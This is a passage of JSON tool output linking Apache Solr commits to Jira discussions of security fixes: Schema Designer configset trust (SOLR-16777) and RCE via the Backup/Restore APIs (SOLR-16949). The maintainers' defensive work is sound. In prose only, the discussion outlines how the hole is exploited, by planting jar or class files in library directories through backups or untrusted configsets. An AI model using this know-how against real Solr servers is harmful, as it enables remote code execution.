clarify the incompatibility of the listed \"trusted\" features with schema designer and we commit to doing something nicer in 9.3 I'll change that to -0.9, but it would be much better to be consistent with the existing feature. Security is important,\u00a0 but we shouldn't make our software trappy and hard to use either. security is not optional . Unsafe features should be removed as and when we find them I don't think this makes schema designer unusable at all. This is an extremely obscure feature that's carried forward from non cloud Solr Of course it's not optional, but usability isn't optional either. The fact that security is more important is why I am willing to put up with a well documented gotcha for the short term. Which feature are you referring to as carried forward. Schema designer appeared in 8.10 and trusted configsets first showed up\u00a0 in 8.4? (in documentation at least, I haven't figured out if trusted configsets were undocumented for a while before that) and other unsafe features mentioned in the configset upload API will generate an error (with the reason) when loaded from untrusted configsets. Those features shouldn't be used anyway, so if they dont work with schema designer, it is not the end of the world. Which feature are you referring to as carried forward I guess he's referring to and other insecure features (stateless script update processor?) etc. Also, the overlap of users using such obscure and advanced features and those using the schema designer will probably be negligible. Re-opening to make sure either Document in ref-guide that Schema Designer now can ONLY work on untrusted config sets OR Toggle safe/unsafe based on whether the call is authorized, like is done for configset-api +1 to what Gus said, and Jan's decision to reopen. Sure, please feel free to re-open and add the check here. Procedurally, responding to review this way feels...maybe not \"wrong\", but at least \"odd\". And maybe even slightly harmful? Obviously I'm not saying every last review comment needs addressed. Some are too minor or loosely held even by the reviewer. Often there's competing views, or a suggestion might deserve its own spinoff ticket, etc. That stuff happens all the time. But to seemingly agree after a few back-and-forth's (or at least acquiesce?) and still not incorporate the feedback - with no explanation - just feels a little weird. It discounts the time Gus and others put in to their reviews. And, longer term, it'd be natural for anyone reading here to hesitate before giving you a review the next time around. Which, it goes without saying, hurts everyone. ichattopadhyaya could you please at least explain why you don't care to incorporate Gus' feedback? Jason, please stop being so melodramatic. I'm on travel at the moment. I'll pick it up when I get some time. This is a volunteer driven project, so feel free to do something you expect me to do (which I will do). Btw, I agree with Jan's suggestion. I think we should rather add the check than explain why we don't. Fyi, Jason \ud83d\ude0a I think we should rather add the check than explain why we don't. +1 Jason, please stop being so melodramatic. I'm on travel at the moment Apologies for the \"melodrama,\" if that's how my comment came off. I wasn't trying to make a bigger thing of it than it is. I've been thinking a lot lately about how it's the unwritten rules and norms that allow our community to work at all. How we incorporate feedback is one of those. Those norms are just so, so important. That's all I was trying to get across. (And related - I think you're right - as important as it is, it's hard to elucidate or appeal to that sort of stuff without sounding like a crazy person catastrophizing or being melodramatic with some minuscule detail \ud83d\ude2c. So, I get that haha.) Anyways, I appreciate your clarifying that you intended to get to it in time . That's perfect. Have a safe trip! Any conclusion on this? It currently blocks 9.2.2 I'll take a look at this, latest by Thursday this week; Hopefully, that will be before the 9.3 release. I added a patch that should use the built-in trustedness of the configSet being used, when designing with the schema designer. If the user uploads a custom file to the configSet using the schema designer APIs, it can only remove the trust (if the user is not authenticated). It can never add trust to an untrusted configSet, because there is no way to replace all files using the schema designer APIs. (And we aren't going to give a whole configSet trust just because one file is now \"trusted\") I'm trying to get a release candidate out soon, so would appreciate anyone that could review the patch! The patch LGTM, with the small quibble that maybe we should document the \"final\" behavior around Schema Designer and trusted-ness in the ref-guide somewhere? LGTM. Summarized changes: ZkConfigSetService.java: The method signature of loadConfigSetFlags was modified to remove the CoreDescriptor parameter. ConfigSetService.java: Import of ZkSolrResourceLoader was removed. Two methods, isConfigSetTrusted(String name) and isConfigSetTrusted(SolrResourceLoader coreLoader), were added to check whether a given config set or a config set associated with a resource loader is trusted. In the loadConfigSet method, the check for a trusted config set was replaced with a call to the new isConfigSetTrusted method. The createSolrConfig method was updated to use the isConfigSetTrusted method for the trusted argument. The loadConfigSetFlags method was modified, similar to the change in ZkConfigSetService.java, to remove the CoreDescriptor parameter. ConfigSetAPIBase.java: The isTrusted method was made static, and its visibility was changed to public. The isCurrentlyTrusted method was removed. The method ensureOverwritingUntrustedConfigSet was updated to use configSetService.isConfigSetTrusted(configName) instead of isCurrentlyTrusted(configName). CreateConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(createConfigPayload.baseConfigSet) instead of isCurrentlyTrusted(createConfigPayload.baseConfigSet). UploadConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(configSetName) instead of isCurrentlyTrusted(configSetName). SchemaDesignerAPI.java: Updated to use the static isTrusted method from ConfigSetAPIBase.java. Also added logic to remove the trusted flag on the configSet if the request is untrusted. SchemaDesignerConfigSetHelper.java: Updated to load the Solr config with the trusted flag retrieved from isConfigSetTrusted. Added isConfigSetTrusted and removeConfigSetTrust methods. Trust is now determined based on the config set itself rather than on the loading process, and checks for trust have been centralized in the ConfigSetService class. Thank you very much, houston , for getting to this! I skimmed through the changes (still too busy to find time for a thorough review), and they look reasonable. Ok I cleaned it up a bit more and added docs. Will commit soon, after the tests pass. So we are going to need an 8.11.2 release for this, correct? I can volunteer for an 8x release containing this, immediately after 9.3 is out. Thanks Houston! Commit 35d352522df046aab9035d60806ababffa0f00e8 in solr's branch refs/heads/main from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=35d352522df ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust Commit 6b6e45a7c6e4f08fe1db951164ddab93809459db in solr's branch refs/heads/branch_9x from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=6b6e45a7c6e ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Commit d07751cfaa8065bea8bd43f59e758e50d50c2419 in solr's branch refs/heads/branch_9_3 from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d07751cfaa8 ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Closing after the 9.3.0 release Hi, was it fixed int he 8.11 line as well? No. I created backporting this as a blocker for 8.11.3: SOLR-16948 Commit 4ac1d59918c250bffb09899572bd92054cee063a in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=4ac1d59918c ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets The other fix here by Houston is still remaining. Working on it. houston , can you please review my changes to https://github.com/apache/lucene-solr/tree/jira/solr-16777-8x-backport branch? Patch file is here: https://github.com/apache/lucene-solr/commit/f9fdfc3863d436829e925acd2157e356205af929.diff I'm unable to raise a PR for it, GitHub shows me the following error: Pull request creation failed. Validation failed: must be a collaborator I wasn't able to port all the refactoring that the config sets codepaths has received in 9x, so doing a targeted fix here. That looks good, except that SchemaDesignerSettingsDAO.getSettings() is missing its change. Thanks for the quick review, Houston. Here's remaining change (another commit on the same branch): https://github.com/apache/lucene-solr/commit/a01567b6e5f49e9b9760c07d2c5db40e1255b150.diff +1 if everything passes Commit 6e9ed203b30958396bdfd41760d426b386646865 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=6e9ed203b30 ] SOLR-16777 : Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman " - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "f9fdfc3863d436829e925acd2157e356205af929" - ], - [ - "no-tag", - "a01567b6e5f49e9b9760c07d2c5db40e1255b150" - ] - ], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - }, - { - "id": "XREF_BUG", - "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777", - "relevance": 32 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: ZooKeeper, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16777", - "relevance": 2 - } - ] - }, - { - "commit_id": "6c8f24eb9e3fe1cb19058173f2e221de3febfeda", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1702888353, - "hunks": 13, - "message": "SOLR-16949: Fix inputstream leaks", - "changed_files": [ - "solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16949": "Before an 8.11.3 release, https://issues.apache.org/jira/browse/SOLR-16480 needs to be backported, thus creating this as a blocker. Here I am assuming that 8.x is vulnerable to the same attack, which should be investigated. RCE via Backup/Restore APIs - Fix for all file extensions See attached patch. It is not a back port of SOLR-16480 and is not for branch_8_11, but for main. It adds a file content MAGIC check for each location where we today call ZkMaintenanceUtils.isFileForbiddenInConfigSets() . I.e. it will peek inside each file and use \"libmagic\" style detection based on a config file in resources/magic folder. There exists thousands of matching rules for all kid of file formats (see https://github.com/file/file/tree/master/magic/Magdir ), but I copied rules for ZIP, TAR and CLASS, and made a simple regex rule for shell scripts. As an alternative to using the https://github.com/j256/simplemagic library (which is not super well maintained) would be to write our own detection rules in Java, which would not be too hard for JAR and CLASS which are the most important. This is definitely not a requirement for the change, but we should get rid of the file type extension stuff that I added in. Otherwise that looks like a really good patch, thanks for the awesome work here Jan! So we now have three options for safeguarding 8.11.3 against this attack: This patch (replacing filename suffix solution). It is way safer and I cannot think of a way an attacker could circumvent it, other than crafting a .jar or .class file that we cannot detect SOLR-16781 to feature toggle directives (keep old behavior by default) https://github.com/apache/solr/pull/2068 to feature toggle BACKUP to local file system (keep disabled by default) If we choose 1 we may not urgently need 2 or 3. But we may want to proceed with 2 for other reasons later. If we choose 2, we don't plug the hole by defualt but will need to document a recommendation to disable. If we choose 3 it will be a breaking change for users of BACKUP feature that needs to be documented. I choose Option 1 for all 8.11, 9.x, main Option 2 for 9.x, and remove in 10 If anyone wants to expedite this, feel free to grab this. I won't be able to continue until mid next week. > we should get rid of the file type extension stuff that I added in. Formally that cannot be removed until 10.0. We could document the deprecation of the extension feature together with this patch, and open a new Jira to remove the code in main. I won't be able to continue until mid next week. Would you be able to get to this soon? If so, I'll wait for you to get it in and then spin RC2. I can give backporting an attempt... Uploaded a patch for branch_8_11 SOLR-16949-8_11.patch It is based on the other patch, but with tweaks to make it fit the older codebase. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. ichattopadhyaya please take it for a spin if you like. So with this we fail fast if the configSet contains a sh, zip, jar, tar or class file When uploading configset with bin/solr When uploading configset through configset API When doing backup of a collection (skip file and warn, not abort) When restoring a configset from a backup into zookeeper (skip file and warn, not abort) The patch contains some tests but not extensive integration tests here. I have run the entire test suite with ant. No refguide or CHANGES so far. When reviewing, pay special attention to Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Should the backup/restore fail instead of just skip file and warn when an illegal file is detected? Try to customize solr.configset.upload.mimetypes.forbidden sysprop Based on review feedback I may help to refine a time or two before commit. Or feel free to revise the patch at your liking. When the 8.x patch is solid, we can update the main-branch patch with the latest changes. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. This also requires direct access to ZooKeeper, so I'm not nearly as concerned. We can really only control the Solr ConfigSets API as well as any downloading of Zookeeper data to disk (Backups) Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Ok I went ahead and tried this out, adding it as SOLR-16949 -main-protect-lib.patch This is independent of the other patch, but ultimately I think both should be merged. Thoughts? Thanks for review Houston. The protected lib technique is orthogonal and would definitely add another layer. Should that patch perhaps ripple down from main -> 9x -> 9.4.1 -> 8.11.3, or do\u00a0 you want to land it in 8.11.3 first? We urgently want to get 8.11.3 and 9.4.1 out the door, so I think it needs to land both places anyway. Thanks for agreeing Jan. If you have time to review, I'll make it ready for commit and then do the regular main -> 9x -> 9.4.1 -> 8.11.3 workflow. The protected path feature can be added in the open, right, as it does not reveal any undisclosed CVE to anyone, it is just an additional hardening against potential future undiscovered attacks. I'll try to review PRs. Hmm I guess, its a different way of solving the same vulnerability, so I'm not sure it can be done openly. Happy to make a public JIRA/PR if y'all think its ok. Added more tests, and fixed something that the tests found. It should be close to ready I think. I'm trying to get up to speed on what's happening here and I'm confused. \u00a0If the problem relates to being able to tell Solr to backup stuff to locations that shouldn't be (i.e. to places inside Solr), can't we have a simple allowList approach? \u00a0Maybe the parent issue SOLR-16480 is what matters and not this backport one? \u00a0I see my \"slippery slope\" comment there and it really still resonates me... we are going down a slippery slope alright. I'd appreciate it if you would expand on \"slippery slope\" when you use that phrase. I don't think having a list of \"protected paths\" that don't allow writes is anything crazy. I also think limiting the file types that we allow in configSets is perfectly acceptable. I have no issue with also adding an \"allowList\" for backups. The big difference being that this is back-compat for good-faith users for 9x and 8.11, whereas allowList wouldn't be. The slippery slope is a cat & mouse game with someone who observes these... what I consider band-aids, and sees something we missed, and this continues. \u00a0If we protect certain paths but forget one, is that then CVE worthy? \u00a0I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. \u00a0A similar mindset for file extensions if we want to block based on them. RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. \u00a0Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. \u00a0Maybe furthermore we shouldn't load libs from a \"/var\" path unless the configuration is explicit about using such a path. \u00a0Just brainstorming a bit. I don't think it hurts to add multiple layers of security. However, the root cause of this issue is that it is even allowed to define a file-system backup outside of the \"location\" that is defined in solr.xml as the backup repository location, see https://solr.apache.org/guide/solr/latest/deployment-guide/backup-restore.html#localfilesystemrepository What if we modified the LocalFileSystemRepository to restrict the backup location to be within the statically configured location? Then attackers whould need to figure out how to add that admin-decided location to classpath, or to create a core inside that location. Or something else. /solr/backup_data If we protect certain paths but forget one, is that then CVE worthy? With two layers of protection, I think we'd be pretty safe from having to issue another CVE, but obviously there is always the possibility. I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. The \"allowBackupPath\" you suggest is really close to the \"allowPaths\" logic we already have, however it really just adds \"SOLR_HOME\", \"SOLR_DATA_HOME\" and \"coreRootDirectory\". \"SOLR_DATA_HOME\" is fine, no libraries are loaded from there. \"SOLR_HOME\" has \"SOLR_HOME/lib\" and \"coreRootDirectory\" has \"coreRootDirectory/lib\". Lastly, \"sharedLib\" might be included under \"allowPaths\", so we can forbid that just for the sake of being cautious. The other logic in the protections merely exist to be extra cautious. Basically this is one less configuration a user needs to care about, but adds extra checks to make sure they can't shoot themselves in the foot. (e.g. even if the \"allowBackupPath\" option existed, they could set it to a folder that included their SOLR_HOME, which would make them vulnerable) That's basically what this PR is, although extra protected paths have been added just to be extra cautious RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. I agree for a minor version, but this would be a fairly big change for users in a patch change, especially when there are options that aren't back-compat breaking. Users using an \"8.11\" docker image, to auto-receive security updates, would see their backups start failing automatically. Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. I don't like the ideas of defaults when Solr has no guidelines for how a filesystem should be setup. Using \"/var\" as a default wouldn't work because the SOLR_HOME/lib and SOLR_CORE/lib could easily be under \"/var\", like they are in the Docker image. Looks good Jan. And maybe the \"slipper slope\" metaphor isn't the right metaphor Jan, I think making the location required going forward is a good idea. And all paths provided in the API would need to be relative to that location (without \"../\"). But I think for 8.11 at least (and probably 9.4.1), we would need to protect without making \"location\" mandatory. (As I've mentioned before). Did some basic cleanup of the 8.11 patch, added some javadoc, when traversing folders, skip only \".\" and \"..\", not every folder starting with a \".\". Ran \"ant precommit\". Do you have a suggestion for CHANGES.txt entry and JIRA number to use? Looks good to me Jan. I would use this JIRA. And something simple like \"Restrict certain file types from being uploaded with or downloaded from Config Sets.\" Pushed to branch_8_11 in https://github.com/apache/lucene-solr/commit/7e9a2e67f812032a049836c3aa0b18bf5cd717f9 I have updated the patch for main branch with latest updates from 8.11 patch: SOLR-16949.patch Precommit passes and I am ready to merge. Do we want to avoid the extra publicity that a PR gives, by pushing directly from the command line? If so, I'm grateful for a patch review of the updated patch. Note: I kept the patch from SOLR-16480 intact, but we could do another JIRA to remove that filename-suffix feature from main branch after this has landed. That patch for main looks good to me Jan, I would push directly to main (and backport of course) without PRs. As for SOLR-16480 , I do think we should have a Jira to remove that in main, after this has landed. main: https://github.com/apache/solr/commit/15534754f492079e52288dd11abaf1c4261b3ea4 branch_9x: https://github.com/apache/solr/commit/644dd3a6d6780d71030f7070754d2f3adce22859 branch_9_4: https://github.com/apache/solr/commit/ad6854b04361e351e08aa8f39fb7ff0e8fedc9a2 There's some local (and Jenkins) test failures that look related to this change, particularly in TestConfigSetService and TestFileSystemConfigSetService. See this Jenkins build for an example. (I've also attached the Jenkins logs, so they're preserved after our build-retention rolls over.) jenkins.log.txt.gz At a glance it looks like the problem is that this change introduces some InputStream leaks ] in our ConfigSet code. Seems like a simple-ish fix? I suspect one of you guys might already be aware of this and working on a fix, and I don't want to duplicate effort. But if you aren't already on it, lmk and I can toss a fix together. Yea, looks like some careless stream handling there. Taking a look. Fix in SOLR-16949-inputstream-leaks.patch . This patch passes Path objects instead of InputStream and also uses the File and byte[] methods of SimpleMagic library instead of always converting to InputStream. Also streamlines tests with try-with-resources. I ran the entire test suite locally, so committed right away: main: https://github.com/apache/solr/commit/c89813a675663bb82f18236840b2a84cac05e1ee branch_9x: https://github.com/apache/solr/commit/c79011e81dada2f9bc4b4df32ffb32152ef81152 branch_9_4: https://github.com/apache/solr/commit/ce2813c97f70b5e83ece80455aad74a1fd7eeca6 A belated LGTM on the resource-leak fix; thanks Jan! Yep, looks good. Doesn't look like branch_8_11 code is directly using the same code, except some tests that may be leaking streams. I'll have a look at pushing a patch to that branch too. Backport of inputstream handling to branch_8_11: https://github.com/apache/lucene-solr/commit/6c8f24eb9e3fe1cb19058173f2e221de3febfeda Closing after the 9.4.1 release" - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - }, - { - "id": "XREF_BUG", - "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949", - "relevance": 32 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: stream", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16949", - "relevance": 2 - } - ] - }, - { - "commit_id": "7e9a2e67f812032a049836c3aa0b18bf5cd717f9", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1702461407, - "hunks": 16, - "message": "SOLR-16949: Restrict certain file types from being uploaded to or downloaded from Config Sets", - "changed_files": [ - "lucene/ivy-versions.properties", - "solr/core/ivy.xml", - "solr/core/src/java/org/apache/solr/core/backup/BackupManager.java", - "solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", - "solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java", - "solr/core/src/java/org/apache/solr/util/SolrCLI.java", - "solr/core/src/resources/magic/executables", - "solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin", - "solr/core/src/test-files/magic/hello.tar.bin", - "solr/licenses/simplemagic-1.17.jar.sha1", - "solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16949": "Before an 8.11.3 release, https://issues.apache.org/jira/browse/SOLR-16480 needs to be backported, thus creating this as a blocker. Here I am assuming that 8.x is vulnerable to the same attack, which should be investigated. RCE via Backup/Restore APIs - Fix for all file extensions See attached patch. It is not a back port of SOLR-16480 and is not for branch_8_11, but for main. It adds a file content MAGIC check for each location where we today call ZkMaintenanceUtils.isFileForbiddenInConfigSets() . I.e. it will peek inside each file and use \"libmagic\" style detection based on a config file in resources/magic folder. There exists thousands of matching rules for all kid of file formats (see https://github.com/file/file/tree/master/magic/Magdir ), but I copied rules for ZIP, TAR and CLASS, and made a simple regex rule for shell scripts. As an alternative to using the https://github.com/j256/simplemagic library (which is not super well maintained) would be to write our own detection rules in Java, which would not be too hard for JAR and CLASS which are the most important. This is definitely not a requirement for the change, but we should get rid of the file type extension stuff that I added in. Otherwise that looks like a really good patch, thanks for the awesome work here Jan! So we now have three options for safeguarding 8.11.3 against this attack: This patch (replacing filename suffix solution). It is way safer and I cannot think of a way an attacker could circumvent it, other than crafting a .jar or .class file that we cannot detect SOLR-16781 to feature toggle directives (keep old behavior by default) https://github.com/apache/solr/pull/2068 to feature toggle BACKUP to local file system (keep disabled by default) If we choose 1 we may not urgently need 2 or 3. But we may want to proceed with 2 for other reasons later. If we choose 2, we don't plug the hole by defualt but will need to document a recommendation to disable. If we choose 3 it will be a breaking change for users of BACKUP feature that needs to be documented. I choose Option 1 for all 8.11, 9.x, main Option 2 for 9.x, and remove in 10 If anyone wants to expedite this, feel free to grab this. I won't be able to continue until mid next week. > we should get rid of the file type extension stuff that I added in. Formally that cannot be removed until 10.0. We could document the deprecation of the extension feature together with this patch, and open a new Jira to remove the code in main. I won't be able to continue until mid next week. Would you be able to get to this soon? If so, I'll wait for you to get it in and then spin RC2. I can give backporting an attempt... Uploaded a patch for branch_8_11 SOLR-16949-8_11.patch It is based on the other patch, but with tweaks to make it fit the older codebase. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. ichattopadhyaya please take it for a spin if you like. So with this we fail fast if the configSet contains a sh, zip, jar, tar or class file When uploading configset with bin/solr When uploading configset through configset API When doing backup of a collection (skip file and warn, not abort) When restoring a configset from a backup into zookeeper (skip file and warn, not abort) The patch contains some tests but not extensive integration tests here. I have run the entire test suite with ant. No refguide or CHANGES so far. When reviewing, pay special attention to Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Should the backup/restore fail instead of just skip file and warn when an illegal file is detected? Try to customize solr.configset.upload.mimetypes.forbidden sysprop Based on review feedback I may help to refine a time or two before commit. Or feel free to revise the patch at your liking. When the 8.x patch is solid, we can update the main-branch patch with the latest changes. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. This also requires direct access to ZooKeeper, so I'm not nearly as concerned. We can really only control the Solr ConfigSets API as well as any downloading of Zookeeper data to disk (Backups) Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Ok I went ahead and tried this out, adding it as SOLR-16949 -main-protect-lib.patch This is independent of the other patch, but ultimately I think both should be merged. Thoughts? Thanks for review Houston. The protected lib technique is orthogonal and would definitely add another layer. Should that patch perhaps ripple down from main -> 9x -> 9.4.1 -> 8.11.3, or do\u00a0 you want to land it in 8.11.3 first? We urgently want to get 8.11.3 and 9.4.1 out the door, so I think it needs to land both places anyway. Thanks for agreeing Jan. If you have time to review, I'll make it ready for commit and then do the regular main -> 9x -> 9.4.1 -> 8.11.3 workflow. The protected path feature can be added in the open, right, as it does not reveal any undisclosed CVE to anyone, it is just an additional hardening against potential future undiscovered attacks. I'll try to review PRs. Hmm I guess, its a different way of solving the same vulnerability, so I'm not sure it can be done openly. Happy to make a public JIRA/PR if y'all think its ok. Added more tests, and fixed something that the tests found. It should be close to ready I think. I'm trying to get up to speed on what's happening here and I'm confused. \u00a0If the problem relates to being able to tell Solr to backup stuff to locations that shouldn't be (i.e. to places inside Solr), can't we have a simple allowList approach? \u00a0Maybe the parent issue SOLR-16480 is what matters and not this backport one? \u00a0I see my \"slippery slope\" comment there and it really still resonates me... we are going down a slippery slope alright. I'd appreciate it if you would expand on \"slippery slope\" when you use that phrase. I don't think having a list of \"protected paths\" that don't allow writes is anything crazy. I also think limiting the file types that we allow in configSets is perfectly acceptable. I have no issue with also adding an \"allowList\" for backups. The big difference being that this is back-compat for good-faith users for 9x and 8.11, whereas allowList wouldn't be. The slippery slope is a cat & mouse game with someone who observes these... what I consider band-aids, and sees something we missed, and this continues. \u00a0If we protect certain paths but forget one, is that then CVE worthy? \u00a0I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. \u00a0A similar mindset for file extensions if we want to block based on them. RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. \u00a0Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. \u00a0Maybe furthermore we shouldn't load libs from a \"/var\" path unless the configuration is explicit about using such a path. \u00a0Just brainstorming a bit. I don't think it hurts to add multiple layers of security. However, the root cause of this issue is that it is even allowed to define a file-system backup outside of the \"location\" that is defined in solr.xml as the backup repository location, see https://solr.apache.org/guide/solr/latest/deployment-guide/backup-restore.html#localfilesystemrepository What if we modified the LocalFileSystemRepository to restrict the backup location to be within the statically configured location? Then attackers whould need to figure out how to add that admin-decided location to classpath, or to create a core inside that location. Or something else. /solr/backup_data If we protect certain paths but forget one, is that then CVE worthy? With two layers of protection, I think we'd be pretty safe from having to issue another CVE, but obviously there is always the possibility. I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. The \"allowBackupPath\" you suggest is really close to the \"allowPaths\" logic we already have, however it really just adds \"SOLR_HOME\", \"SOLR_DATA_HOME\" and \"coreRootDirectory\". \"SOLR_DATA_HOME\" is fine, no libraries are loaded from there. \"SOLR_HOME\" has \"SOLR_HOME/lib\" and \"coreRootDirectory\" has \"coreRootDirectory/lib\". Lastly, \"sharedLib\" might be included under \"allowPaths\", so we can forbid that just for the sake of being cautious. The other logic in the protections merely exist to be extra cautious. Basically this is one less configuration a user needs to care about, but adds extra checks to make sure they can't shoot themselves in the foot. (e.g. even if the \"allowBackupPath\" option existed, they could set it to a folder that included their SOLR_HOME, which would make them vulnerable) That's basically what this PR is, although extra protected paths have been added just to be extra cautious RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. I agree for a minor version, but this would be a fairly big change for users in a patch change, especially when there are options that aren't back-compat breaking. Users using an \"8.11\" docker image, to auto-receive security updates, would see their backups start failing automatically. Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. I don't like the ideas of defaults when Solr has no guidelines for how a filesystem should be setup. Using \"/var\" as a default wouldn't work because the SOLR_HOME/lib and SOLR_CORE/lib could easily be under \"/var\", like they are in the Docker image. Looks good Jan. And maybe the \"slipper slope\" metaphor isn't the right metaphor Jan, I think making the location required going forward is a good idea. And all paths provided in the API would need 